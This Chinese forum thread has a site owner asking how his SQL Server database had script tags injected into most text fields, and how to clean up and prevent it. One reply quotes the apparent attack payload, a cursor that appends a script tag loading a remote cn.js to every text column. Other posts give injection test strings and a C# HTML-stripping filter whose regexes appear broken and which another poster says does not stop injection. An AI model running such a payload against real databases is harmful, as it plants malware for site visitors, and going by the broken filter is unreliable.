今天早上刚到公司,编辑就告诉我网站首页全乱了,问我是不是程序都的字符读多了,给网站撑变形了。
这一段时间就没有动程序,仔细看一下页面,图片不显示了,图片地址里面有script脚本块,我一查找html源文件
这样的脚本块不计其数,完了,数据库!等我打开发现几乎所有的表 的字符型字段 都被注入了这样的块
头都大了,只好用了一个上午的时间用replace函数将n个表的n个字段 的脚本块去掉痛定思痛,我去网上找了一下关于sql注入的方面的资料看一下,网上说sql注入是通过表单注入的
但是我的数据库中绝大多数表是都是由管理员在后台操作,前台只是显示。除非他知道我的后台登陆密码
才能注入啊,我觉得这种可能性很小啊,哪他是怎么把数据写到我的数据库的呢我今天替换了,他还有可能卷土重来啊,我改怎么防止他再次注入呢,请高人指点迷津!!
set @inScript='替换内容'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;修改你的参数传值,接收时先把过虑,之后在更新你的数据库
public static string NoHTML(string Htmlstring)
{ //删除脚本 Htmlstring = Regex.Replace(Htmlstring, @"<script[^>]*?>.*?</script>", "", RegexOptions.IgnoreCase); //删除HTML Htmlstring = Regex.Replace(Htmlstring, @"<(.[^>]*)>", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"([rn])[s]+", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"-->", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"<!--.*", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(quot|#34);", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(amp|#38);", "&", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(lt|#60);", "<", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(gt|#62);", ">", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(nbsp|#160);", " ", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(iexcl|#161);", "xa1", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(cent|#162);", "xa2", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(pound|#163);", "xa3", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(copy|#169);", "xa9", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&#(d+);", "", RegexOptions.IgnoreCase); Htmlstring.Replace("<", ""); Htmlstring.Replace(">", ""); Htmlstring.Replace("rn", ""); Htmlstring = HttpContext.Current.Server.HtmlEncode(Htmlstring).Trim(); return Htmlstring; }
过滤非法字符.
and 1 = 2
'or' = 'or'
防止字符串注入,要替换单引号成2个单引号,之后才能传入sql语句或存储过程中。
防止数字注入,要把数字转int一下,之后才能传入sql语句或存储过程中。我的理解是存储过程如果最终以exec(sql语句)返回的话,如果有传字符串类型的变量时,一定要替换单引号成2个单引号,不然这样的存储过程还是能被注入的。同理sql语句也是这样处理的。
还有有人说能绕过单引号继续注入,我的理解是这种情况是用户把数字,没做int处理造成的。
要改的地方也太多了
用11楼的办法搞了个global检查
是不是能杜绝注入呢,
这个办法有什么优缺点??
没有看到能够防注入作用。只是看到不让字符串中有个别被武断认为是html的东西,这跟防注入没有什么关系。注入,类似与在单引号后边再写一个SQL命令(例如通过数据库远程读取一个exe文件到你的服务器上执行),然后跟着两个减号把后边多余SQL指令注释掉。
这个就是教训,哪天让他来看看。
--->>
5楼的朋友提供了替换被植入脚本的方法,难道攻击者也是利用同样的方法植入脚本的的吗!!!执行这段代码需要什么样的权限?是不是像有些朋友说的,他有可能拿到我服务器的管理员权限了?迷惑中
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://网址/cn.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursorz执行这个就可以把所有的文本型的字段都加入,web木马。
在搜索引擎上面搜一下就知道了。被加装web木马的网页有特别的关键字的。